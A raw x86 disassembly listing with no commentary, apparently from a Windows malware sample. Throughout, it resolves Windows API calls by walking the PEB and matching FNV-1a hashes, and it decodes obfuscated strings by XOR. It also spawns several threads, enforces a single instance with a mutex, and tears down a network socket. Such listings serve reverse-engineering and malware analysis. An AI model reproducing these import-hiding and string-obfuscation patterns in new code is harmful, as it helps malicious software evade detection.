mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a761f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a761f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a7615
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a75f8
cmp esi, 0xfaba0065
je 0x4a7623
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a75e0
mov eax, dword [eax]
jmp 0x4a75b0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4a76bf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a76bf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a76b5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7698
cmp esi, 0xfaba0065
je 0x4a76c3
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7680
mov eax, dword [eax]
jmp 0x4a7650
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x495ae0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x498830
push 0
push 0
mov dword [ebp - 0x70], eax
call esi
push 0
push 0
push 0
push 0x49c130
push 0
push 0
mov dword [ebp - 0x58], eax
call esi
push 0
push 0
push 0
push 0x49e170
push 0
push 0
mov dword [ebp - 0x5c], eax
call esi
push 0
push 0
push 0
push 0x4a1a70
push 0
push 0
mov dword [ebp - 0x6c], eax
call esi
push 0
push 0
push 0
push 0x4a2000
push 0
push 0
mov dword [ebp - 0x48], eax
call esi
push 0
push 0
push 0
push 0x4a3ce0
push 0
push 0
mov dword [ebp - 0x30], eax
call esi
sub esp, 0x18
mov dword [ebp - 0x2c], eax
mov ecx, esp
mov dword [ebp - 0x3c], esp
push 0x58ab74
call fcn.004abdc0
mov byte [ebp - 4], 0x73
sub esp, 0x18
lea eax, [ebp - 0x7c8]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x74
sub esp, 0x18
lea eax, [ebp - 0x7e0]
mov dword [ebp - 0x4c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x75
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x58ab8c
call fcn.004abdc0
mov byte [ebp - 4], 0x76
mov byte [ebp - 4], 0x6c
call fcn.0041bfc0
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a7857
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a7857
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x4c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a784d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7830
cmp esi, 0x71948ca4
je 0x4a785b
mov ecx, dword [ebp - 0x4c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7817
mov eax, dword [eax]
jmp 0x4a77e7
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x3c]
push 0x493e0
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a78ff
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a78ff
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a78f5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a78d8
cmp esi, 0x71948ca4
je 0x4a7903
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a78c0
mov eax, dword [eax]
jmp 0x4a7890
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0x493e0
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a79af
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a79af
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a79a5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7988
cmp esi, 0x71948ca4
je 0x4a79b3
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7970
mov eax, dword [eax]
jmp 0x4a7940
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0x493e0
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a7a5f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a7a5f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a7a55
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7a38
cmp esi, 0x71948ca4
je 0x4a7a63
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7a20
mov eax, dword [eax]
jmp 0x4a79f0
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0x493e0
push dword [ebp - 0x30]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a7b07
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a7b07
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a7afd
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7ae0
cmp esi, 0x71948ca4
je 0x4a7b0b
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7ac2
mov eax, dword [eax]
jmp 0x4a7a92
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0x493e0
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a7baf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a7baf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a7ba5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7b88
cmp esi, 0xfaba0065
je 0x4a7bb3
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7b70
mov eax, dword [eax]
jmp 0x4a7b40
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a7c4f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a7c4f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a7c45
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7c28
cmp esi, 0xfaba0065
je 0x4a7c53
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7c10
mov eax, dword [eax]
jmp 0x4a7be0
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a7cf7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a7cf7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a7ced
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a7cd0
cmp esi, 0xfaba0065
je 0x4a7cfb
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a7cb6
mov eax, dword [eax]
jmp 0x4a7c86
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a7d97
test al, al
je 0x4a840b
cmp byte [ebp - 0x41], 0
jne 0x4a840b
call fcn.0042c490
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x95c]
call fcn.004a8a70
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x964]
call fcn.004a8af0
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0x398]
call fcn.0040fe10
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x398]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x7e0]
call fcn.00437060
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push str.th1y5atj8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x58cf56], 0
je 0x4a868a
cmp byte [ebp - 0x41], 0
je 0x4a868a
mov dword [ebp - 0x40], 0x768ea546
lea edx, [ebp - 0x300]
mov dword [ebp - 0x3c], 0x822f86ca
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x300]
mov dword [ebp - 0x5b4], ecx
lea ecx, [ebp - 0x948]
mov dword [ebp - 0x5b8], eax
pxor xmm1, xmmword [ebp - 0x5c0]
push 0x58abbc
movaps xmmword [ebp - 0x300], xmm1
call fcn.004b0280
add esp, 4
mov byte [ebp - 4], 0xa7
mov ecx, eax
call fcn.004aba80
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0x948]
call fcn.0040fe10
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x948]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4a8575
xor esi, esi
jmp 0x4a8817
mov dword [ebp - 0x50], 0x47a1837d
sub esp, 0x18
mov dword [ebp - 0x4c], 0x8a2c8f8f
mov esi, esp
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x50], 0x76184a46
mov dword [ebp - 0x4c], 0xf52f0c30
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x50], 0x4efd535
mov dword [ebp - 0x4c], 0xe640eba1
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x50], 0x76184a46
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x4c], 0xf52f0c30
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
movaps xmm1, xmmword [ebp - 0x90]
pxor xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x3c], esi
movaps xmmword [ebp - 0x80], xmm1
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x34], esi
call fcn.00410150
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4a8618
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
mov ecx, esi
call fcn.00410090
mov byte [ebp - 4], 0xb3
mov byte [ebp - 4], 0x1e
call fcn.00438480
mov ecx, dword [0x58d134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x58d130]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4a8683
nop dword [eax]
push 0x64
call edi
mov ecx, dword [0x58d134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x58d130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4a8660
mov byte [0x58cf39], 1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4a8707
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4a8707
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4a86fd
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4a86e0
cmp esi, 0x2fa62ca8
je 0x4a870b
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4a86c6
mov eax, dword [eax]
jmp 0x4a8696
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0xbb8
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 2
push dword [0x58ab3c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x58ab3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp byte [0x58cf56], 0
je 0x4a8810
cmp byte [ebp - 0x41], 0
je 0x4a8810
push 0
push 0x6fea7613
call fcn.00416520
mov ecx, dword fs:[0x30]
add esp, 8
mov dword [ebp - 0x2c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x4c], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x34], eax
cmp eax, esi
je 0x4a87e7
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4a87e7
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x3c], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4a87dd
nop
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4a87c0
cmp esi, 0x2fa62ca8
je 0x4a87eb
mov eax, dword [ebp - 0x3c]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4a87a6
mov ecx, dword [ecx]
jmp 0x4a8781
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x2c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4a8762
call sub.KERNEL32.dll_GetCurrentProcessId
mov esi, eax
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x328]
call fcn.0040fe10
mov byte [ebp - 4], 6
lea eax, [ebp - 0x328]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xb7
lea ecx, [ebp - 0x6e8]
call fcn.0040fe10
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x6e8]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10